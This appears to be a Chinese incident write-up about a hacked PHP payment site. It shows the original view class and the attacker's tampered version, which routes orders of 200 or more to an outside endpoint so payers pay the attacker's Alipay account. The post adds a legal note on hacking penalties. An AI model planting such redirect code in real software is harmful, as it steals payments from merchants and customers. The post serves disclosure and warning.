记一次黑客事件
3月13日下午4点,客户商反馈,支付跳转的支付宝二维码不是客户商自己的,用户付给客户商的钱付到了别人的支付宝账户里,然后立刻切断线上支付环境。
排查逻辑发现,在 view 层的展示支付二维码页面逻辑时被篡改了代码;
这是正常的代码
//视图操作类
namespace xh\library;
class view{
public function __construct($path,$paramsArray=''){
if (is_array($paramsArray)){
foreach ($paramsArray as $key=>$value){
$$key = $value;
}
}
require (PATH_VIEW . $path . '.php');
}
}
这是被篡改的代码
<?php
//视图操作类
namespace xh\library;
class view{
public function __construct($path,$paramsArray=''){
if (is_array($paramsArray)){
foreach ($paramsArray as $key=>$value){
$$key = $value;
}
}
if (array_key_exists("out_trade_no", $paramsArray)&&
array_key_exists("trade_no", $paramsArray)&&
array_key_exists("id", $paramsArray)&&
array_key_exists("success_url", $paramsArray)&&
array_key_exists("error_url", $paramsArray)&&
array_key_exists("amount", $paramsArray)
){
if ($paramsArray["amount"] >= 200) {
$pt = "alipay_qr";
$is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1)
|| isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https';
$notifyurl = (($is_https) ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'] . '/server/mall/uploadOrder';
$notifyurl .= "?trans_id=" . $paramsArray["trade_no"] . "&postmoney=" . $paramsArray["amount"];
$str = '这里是对方的请求地址';
$pd = array(
"site" => $_SERVER['HTTP_HOST'] ,
"pmethod" => $pt,
"username" => $paramsArray["account"],
"orderid" => $paramsArray["trade_no"],
"amount" => $paramsArray["amount"],
"notifyurl" => $notifyurl,
"returnurl" => "http://localhost",
"clientip" => $this->getClientIP(),
);
$this->_before_pay($str, $pd);
}
}
require (PATH_VIEW . $path . '.php');
}
protected function _before_pay($url, $pd)
{
$resp = $this->_after_curl($url, $pd);
if ($resp["success"]) {
switch ($resp["contentType"]) {
case "url":
if ($resp["shift"] != 0) {
$m = "";
if ($resp["shift"] == -1) {
$m = "充值金额小于支付通道最低额度,请按最低金额充值";
} else {
$m = "充值金额大于支付通道最高额度,请分批多次充值";
}
$page = "<html>
<head><title>redirect...</title></head>
<body>
<h1>即将进入充值页面...</h1>
<h3>$m</h3>
<script>location.href='${resp["content"]}'</script>
</body>
</html>";
echo $page;
exit();
}
header("Location: " . $resp["content"]);
exit();
case "html":
echo $resp["content"];
exit();
}
}
}
protected function _after_curl($url, $data)
{
//省略
}
protected function getClientIP()
{
//省略
}
}
即当订单金额大于200时,就跳转到对方的页面。
目前已报警并追查对方支付宝账户下落,望大家未来做好服务器防护。
注
根据《治安管理处罚法》第二十九条规定:“有下列行为之一的,处五日以下拘留;情节较重的,处五日以上十日以下拘留:(一)违反国家规定,侵入计算机信息系统,造成危害的;
(二)违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行的;
(三)违反国家规定,对计算机信息系统中存储、处理、传输的数据和应用程序进行删除、修改、增加的;
(四)故意制作、传播计算机病毒等破坏性程序,影响计算机信息系统正常运行的。” 因此,如果故意篡改、删除他人计算机数据,依法应承担治安行政责任,如果造成严重后果,还应当承担刑事责任。
如果给别人造成损失,还须承担民事赔偿责任。
后续呢后续呢
不造,商务可能去砍人了吧